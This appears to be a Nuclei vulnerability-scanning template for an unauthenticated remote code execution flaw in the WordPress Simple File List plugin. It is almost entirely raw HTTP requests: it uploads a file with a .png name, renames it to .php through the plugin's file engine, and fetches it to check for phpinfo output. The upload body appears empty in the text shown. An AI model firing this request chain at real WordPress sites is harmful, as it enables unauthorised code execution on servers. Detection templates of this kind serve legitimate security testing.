id: wordpress-rce-simplefilelist info: name: WordPress SimpleFilelist - Remote Code Execution author: princechaddha severity: critical description: | Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a PHP file. reference: - https://wpscan.com/vulnerability/10192 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 metadata: max-request: 3 tags: wp,wpscan,wordpress,wp-plugin,rce,intrusive,fileupload variables: filepath: '{{rand_base(7, "abcdefghi")}}' http: - raw: - | POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: multipart/form-data; boundary=6985fa39c0698d07f6d418b37388e1b2 --6985fa39c0698d07f6d418b37388e1b2 Content-Disposition: form-data; name="eeSFL_ID" 1 --6985fa39c0698d07f6d418b37388e1b2 Content-Disposition: form-data; name="eeSFL_FileUploadDir" /wp-content/uploads/simple-file-list/ --6985fa39c0698d07f6d418b37388e1b2 Content-Disposition: form-data; name="eeSFL_Timestamp" 1587258885 --6985fa39c0698d07f6d418b37388e1b2 Content-Disposition: form-data; name="eeSFL_Token" ba288252629a5399759b6fde1e205bc2 --6985fa39c0698d07f6d418b37388e1b2 Content-Disposition: form-data; name="file"; filename="{{filepath}}.png" Content-Type: image/png --6985fa39c0698d07f6d418b37388e1b2-- - | POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Accept: */* Content-Type: application/x-www-form-urlencoded eeSFL_ID=1&eeFileOld={{filepath}}.png&eeListFolder=%2F&eeFileAction=Rename%7C{{filepath}}.php - | GET /wp-content/uploads/simple-file-list/{{filepath}}.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "aa5be3e9dec96f2f1a593b2f5b2288af" - "PHP Version" - "Configuration Command" condition: and - type: status status: - 200